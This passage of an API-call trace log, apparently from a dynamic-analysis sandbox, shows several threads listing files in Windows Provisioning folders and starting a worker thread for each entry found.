Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*", lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34340e8 [0074.898] wcscmp (_String1=".", _String2=".") returned 0 [0074.898] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.898] wcscmp (_String1="..", _String2=".") returned 1 [0074.898] wcscmp (_String1="..", _String2="..") returned 0 [0074.898] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.898] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.898] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.898] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3434dd8 [0074.898] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0074.898] wcscat (in: _Dest=0x3434dd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0074.898] wcscat (in: _Dest=0x3434dd8, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" [0076.616] Sleep (dwMilliseconds=0x1) [0076.620] Sleep (dwMilliseconds=0x1) [0077.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0077.544] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.544] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.544] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x34766b8 [0077.544] wcscpy (in: _Dest=0x34766b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0077.544] wcscat (in: _Dest=0x34766b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0077.545] wcscat (in: _Dest=0x34766b8, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" [0077.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34766b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0077.545] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.545] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.545] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x34287b0 [0077.545] wcscpy (in: _Dest=0x34287b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0077.545] wcscat (in: _Dest=0x34287b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\" [0077.545] wcscat (in: _Dest=0x34287b0, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" [0077.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34287b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30 [0077.546] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x33ed698 | out: lpFindFileData=0x33ed698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.546] FindClose (in: hFindFile=0x34340e8 | out: hFindFile=0x34340e8) returned 1 [0077.546] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed698) returned 1 [0077.546] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0a10) returned 1 [0077.546] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf168) returned 1 [0077.546] RtlExitUserThread (Status=0x0) Thread: id = 705 os_tid = 0x12b0 [0074.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0ac0 [0074.899] wcscpy (in: _Dest=0x33f0ac0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0074.899] wcscat (in: _Dest=0x33f0ac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0074.899] wcscat (in: _Dest=0x33f0ac0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*" [0074.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ed900 [0074.899] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\*", lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434128 [0074.901] wcscmp (_String1=".", _String2=".") returned 0 [0074.901] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.901] wcscmp (_String1="..", _String2=".") returned 1 [0074.901] wcscmp (_String1="..", _String2="..") returned 0 [0074.901] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x930c721b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ba5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0074.901] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.902] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3434f78 [0074.902] wcscpy (in: _Dest=0x3434f78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0074.902] wcscat (in: _Dest=0x3434f78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0074.902] wcscat (in: _Dest=0x3434f78, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" [0076.615] Sleep (dwMilliseconds=0x1) [0076.620] Sleep (dwMilliseconds=0x1) [0077.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3434f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0077.548] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0077.548] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.548] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476790 [0077.548] wcscpy (in: _Dest=0x3476790, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0077.548] wcscat (in: _Dest=0x3476790, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0077.548] wcscat (in: _Dest=0x3476790, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" [0077.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0077.548] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.549] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.549] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428868 [0077.549] wcscpy (in: _Dest=0x3428868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0077.549] wcscat (in: _Dest=0x3428868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\" [0077.549] wcscat (in: _Dest=0x3428868, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" [0077.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3428868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0077.549] FindNextFileW (in: hFindFile=0x3434128, lpFindFileData=0x33ed900 | out: lpFindFileData=0x33ed900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.549] FindClose (in: hFindFile=0x3434128 | out: hFindFile=0x3434128) returned 1 [0077.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ed900) returned 1 [0077.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0ac0) returned 1 [0077.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf2c8) returned 1 [0077.550] RtlExitUserThread (Status=0x0) Thread: id = 706 os_tid = 0x12b8 [0074.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0b70 [0074.902] wcscpy (in: _Dest=0x33f0b70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0074.902] wcscat (in: _Dest=0x33f0b70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0074.902] wcscat (in: _Dest=0x33f0b70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\*" [0074.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33edb68 [0074.902] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\*", lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34341a8 [0074.903] wcscmp (_String1=".", _String2=".") returned 0 [0074.903] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.903] wcscmp (_String1="..", _String2=".") returned 1 [0074.903] wcscmp (_String1="..", _String2="..") returned 0 [0074.903] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.903] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.903] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3435048 [0074.903] wcscpy (in: _Dest=0x3435048, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0074.903] wcscat (in: _Dest=0x3435048, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0074.903] wcscat (in: _Dest=0x3435048, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\customizations.xml" [0076.615] Sleep (dwMilliseconds=0x1) [0076.620] Sleep (dwMilliseconds=0x1) [0077.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3435048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a0 [0077.552] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.552] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.552] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476868 [0077.552] wcscpy (in: _Dest=0x3476868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0077.552] wcscat (in: _Dest=0x3476868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0077.552] wcscat (in: _Dest=0x3476868, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\MasterDatastore.xml" [0077.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3476868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04 [0077.553] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.553] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.553] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428920 [0077.553] wcscpy (in: _Dest=0x3428920, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0077.553] wcscat (in: _Dest=0x3428920, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\" [0077.553] wcscat (in: _Dest=0x3428920, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov" [0077.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3428920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0077.553] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x33edb68 | out: lpFindFileData=0x33edb68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.554] FindClose (in: hFindFile=0x34341a8 | out: hFindFile=0x34341a8) returned 1 [0077.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33edb68) returned 1 [0077.554] RtlFreeHeap 